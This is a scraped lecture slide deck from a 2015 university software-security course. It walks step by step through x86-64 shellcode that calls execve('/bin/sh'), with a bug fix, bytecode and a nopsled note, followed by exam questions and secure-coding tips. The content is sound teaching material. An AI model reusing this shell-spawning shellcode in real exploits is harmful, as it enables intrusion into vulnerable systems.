assignment 5b
play

Assignment 5b Software and Web Security March 24 th , 2015 Initial - PowerPoint PPT Presentation

Assignment 5b Software and Web Security March 24 th , 2015 Initial state RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP xor %rdx, %rdx RAX 0x???????????????? RBX 0x???????????????? RDX


  1. Assignment 5b Software and Web Security March 24 th , 2015

  2. Initial state RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP

  3. xor %rdx, %rdx RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP

  4. xor %rdx, %rdx RAX 0x???????????????? RBX 0x???????????????? RDX 0x???????????????? RDI RSI stack RSP

  5. xor %rdx, %rdx RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

  6. mov $0x68732f6e69622f2f, %rbx RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

  7. mov $0x68732f6e69622f2f, %rbx RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

  8. mov $0x68732f6e69622f2f, %rbx RAX 0x???????????????? RBX 0x68732f6e69622f2f RDX 0x0000000000000000 RDI RSI stack RSP

  9. shr $0x8, %rbx RAX 0x???????????????? RBX 0x68732f6e69622f2f RDX 0x0000000000000000 RDI RSI stack RSP

  10. shr $0x8, %rbx RAX 0x???????????????? RBX 0x68732f6e69622f2f RDX 0x0000000000000000 RDI RSI stack RSP

  11. shr $0x8, %rbx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack RSP

  12. push %rbx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack RSP

  13. push %rbx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI RSI stack RSP

  14. push %rbx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  15. mov %rsp, %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  16. mov %rsp, %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  17. mov %rsp, %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  18. mov %rsp, %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  19. push %rdx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  20. push %rdx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI stack RSP

  21. push %rdx RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP

  22. push %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP

  23. push %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP

  24. push %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  25. push %rdi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  26. mov %rsp, %rsi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  27. mov %rsp, %rsi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  28. mov %rsp, %rsi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  29. mov %rsp, %rsi RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  30. mov %0x3b, %al RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  31. mov %0x3b, %al RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  32. mov %0x3b, %al RAX 0x000000000000003b RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  33. syscall RAX 0x000000000000003b RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  34. syscall sys execve RAX 0x000000000000003b RBX 0x0068732f6e69622f 0x0000000000000000 RDX RDI 0x0068732f6e69622f RSI stack RSP 0x0000000000000000 0x???????????????? sys execve(char *filename, char *argv[], char *envp[]);

  35. syscall sys execve RAX 0x000000000000003b \ 0hs/nib/ RBX 0x0000000000000000 RDX RDI \ 0hs/nib/ RSI stack RSP 0x0000000000000000 0x???????????????? sys execve(char *filename, char *argv[], char *envp[]);

  36. syscall sys execve RAX 0x000000000000003b /bin/sh \ 0 RBX 0x0000000000000000 RDX RDI /bin/sh \ 0 RSI stack RSP 0x0000000000000000 0x???????????????? sys execve( “/bin/sh” , [“/bin/sh”], NULL);

  37. Lies! Actually, I lied a bit.

  38. mov %0x3b, %al RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  39. mov %0x3b, %al RAX 0x???????????????? RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  40. mov %0x3b, %al RAX 0x??????????????3b RBX 0x0068732f6e69622f RDX 0x0000000000000000 RDI 0x0068732f6e69622f RSI 0x0000000000000000 stack RSP 0x????????????????

  41. Bugfix: Ensure that RAX contains 0x0000000000000000. How?

  42. xor %rax, %rax RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

  43. xor %rax, %rax RAX 0x???????????????? RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

  44. xor %rax, %rax 0x0000000000000000 RAX RBX 0x???????????????? RDX 0x0000000000000000 RDI RSI stack RSP

  45. Bytecode ◮ The bytecode for this is 0x48 0x31 0xc0. ◮ The shellcode gets 3 bytes longer. ◮ So the nopsled should be 3 bytes shorter.

  46. Exam Questions ◮ We won’t ask you to write a working exploit using pen and paper. ◮ But you are expected to be able to answer some questions about exploiting a vulnerability.

  47. Exam Questions For example: Why won’t the first shown exploit of assignment 5 work when exploiting a buffer copied with strcpy?

  48. Takeaways ◮ Use the tools you have at your disposal. ◮ valgrind ◮ address sanitizer ◮ debuggers (gdb, lldb) ◮ ... ◮ Read the documentation! ◮ Do not trust input, and be aware of where all your inputs come from! ◮ C is unforgiving and doesn’t care if you shoot yourself in the foot.

  49. Pointer confusion What does this code do?

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend